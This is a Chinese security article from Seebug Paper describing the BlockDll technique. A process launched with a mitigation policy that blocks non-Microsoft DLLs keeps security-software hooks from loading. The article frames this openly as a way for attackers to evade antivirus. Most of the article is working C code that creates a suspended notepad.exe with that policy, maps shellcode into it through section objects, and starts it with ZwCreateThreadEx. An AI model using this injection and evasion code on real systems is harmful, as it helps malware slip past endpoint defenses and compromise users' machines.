作者:1u0m
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!
投稿邮箱:paper@seebug.org

0x00 什么是BlockDll

  1. 根据CobaltStrike作者Raphael Mudge的说法就是阻止进程在创建的时候安全软件的dll被加载,比如 dllhijack或者是dll加载形式的hook,这功能本来是用于提升自身软件的安全而缓解攻击用的(比如Chrome和Edge),但是站在攻击者角度来看这可以是个不错的抵御安全软件的方法
  2. [G|S]etProcessMitigationPolicy与PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY

针对特定进程,禁止加载未签名的DLL(SignatureMitigationOptIn)
针对特定进程, 禁止加载远程DLL(ProhibitRemoteImageMap)
针对特定进程, 禁止加载文件的完整性级别为Low的镜像文件(ProhibitLowILImageMap)

0x01 进程保护的实现

在参考chrome的源码后发现保护当前进程的流程很简单,如下:

  • GetProcessMitigationPolicy 获取当前进程的缓解策略
  • policy.MitigationOptIn = 1 修改签名属性
  • SetProcessMitigationPolicy 应用策略
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy;
if (!GetProcessMitigationPolicy(hProc, ProcessSignaturePolicy, &policy, sizeof(policy)))
{
    wprintf(L"[x] Get Process Policy failed code: %d\n", GetLastError());
    return FALSE;
}
//policy.AuditMicrosoftSignedOnly = 1;
policy.MitigationOptIn = 1;
//policy.StoreSignedOnly = 1;  // need sedebug
if (SetProcessMitigationPolicy(ProcessSignaturePolicy, &policy, sizeof(policy)))
{
    wprintf(L"[*] Set Process Policy Success!\n");
    return TRUE;
}
else
{
    wprintf(L"[x] Set Process Policy Error code: %d\n", GetLastError());
    return FALSE;
}
  • 这样就简单完成了保护,但是通过测试发现这种方法不适于远程进程,仅限与当前进程(可能是我的方法不对,我没成功。不过可以变通下,根据资料,属性可以继承,意思就是在上面的继承上可以创建子进程实现子经常收缓解策略保护[这里留个坑,避免伸手党])

0x02 ShellCode也来玩玩

毕竟直接给目标上exe和dll是不太环保的,可这种方法怎么在shellcode的基础上实现呢,大牛看过上面的文章后可能已经有了自己的想法了,这里我也分析下我的想法

  • 拉起一个暂停的进程
  • 将shellcode挂载到目标进程
  • 恢复进程以shellcode作为入口点运行

其实就是Process Hollowing,不过这里用的是shellcode而已 这里的关键点是CreateProcess函数的lpStartupInfo的设置,而StartupInfo的关键在于 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON

DWORD64 ProtectionLevel = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; //policy.MitigationOptIn
SIZE_T AttributeListSize;

InitializeProcThreadAttributeList(NULL, 1, 0, &AttributeListSize);

si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(),0,AttributeListSize);

if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &AttributeListSize) == FALSE)
{
    wprintf(L"[x] InitializeProcThreadAttributeList failed code: %d\n", GetLastError());
    return -1;
}
if (UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &ProtectionLevel, sizeof(ProtectionLevel), NULL, NULL) == FALSE)
{
    wprintf(L"[x] UpdateProcThreadAttribute failed code: %d\n", GetLastError());
    return -1;
}

我这里拉起一个notpad.exe的进程,将shellcode挂载到notepad.exe中

ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\notepad.exe",(LPWSTR)app_path, sizeof(app_path));
wprintf(L"[*] Prcoess full path: %s\n", app_path);
wprintf(L"[*] Creating suspended process...\n");
if (!CreateProcessW((LPWSTR)app_path, // lpApplicationName
    NULL,             // lpCommandLine
    NULL,             // lpProcessAttributes
    NULL,             // lpThreadAttributes
    NULL,             // bInheritHandles
    CREATE_SUSPENDED | DETACHED_PROCESS |
    EXTENDED_STARTUPINFO_PRESENT, // dwCreationFlags
    NULL,                 // lpEnvironment
    NULL,                 // lpCurrentDirectory
    (STARTUPINFO)&si,                  // lpStartupInfo
    &pi                   // lpProcessInformation
)) {
    wprintf(L"[x] CreateProcess failed code: %d\n", GetLastError());
    return -1;
}

maxSize.HighPart = 0;
maxSize.LowPart = 0x1000;

wprintf(L"[*] Creating a new section...\n");
if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize,
    PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) !=
    STATUS_SUCCESS) {
    wprintf(L"[x]: ZwCreateSection failed, status: %x\n", status);
    return -1;
}
wprintf(L"[*] Section handle: %p\n", hSection);

wprintf(L"[*] Mapping the section into current process' context...\n");
if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(),
    &sectionBaseAddress, NULL, NULL, NULL,
    &viewSize, inheritDisposition, NULL,
    PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) {
    wprintf(L"[x] NtMapViewOfSection failed, status : %x\n", status);
    return -1;
}
wprintf(L"Section BaseAddress: %p\n", sectionBaseAddress);

wprintf(L"Copying shellcode into section ...\n");
memcpy(sectionBaseAddress, shellcode, sizeof(shellcode));
wprintf(L"Shellcode copied!\n");

wprintf(L"Mapping the section into target process' context ...\n");
if ((status =
    NtMapViewOfSection(hSection, pi.hProcess, &sectionBaseAddress2, NULL,
        NULL, NULL, &viewSize, inheritDisposition, NULL,
        PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) {
    wprintf(L"NtMapViewOfSection failed, status : %x\n", status);
    return -1;
}
wprintf(L"Section correctly mapped!\n");

wprintf(L"Unmapping section from current process ...\n");
ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
ZwClose(hSection);
hSection = NULL;
wprintf(L"Section unmapped from current process!\n");

wprintf(L"Creating a new thread for the injected shellcode ...\n");
if ((status = ZwCreateThreadEx(&threadHandle, 0x1FFFFF, NULL, pi.hProcess,
    sectionBaseAddress2, NULL, CREATE_SUSPENDED, 0,
    0, 0, 0)) != STATUS_SUCCESS) {
    wprintf(L"ZwCreateThreadEx failed, status : %x\n", status);
    return -1;
}

可以看的出成功以后,msgbox执行,notepad也执行起来,由于我装个QQ输入法,当我点击notepad的时候输入法的dll会加载失败

使用GetProcessMitigationPolicy查看缓解策略的信息

0x03 结语


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/929/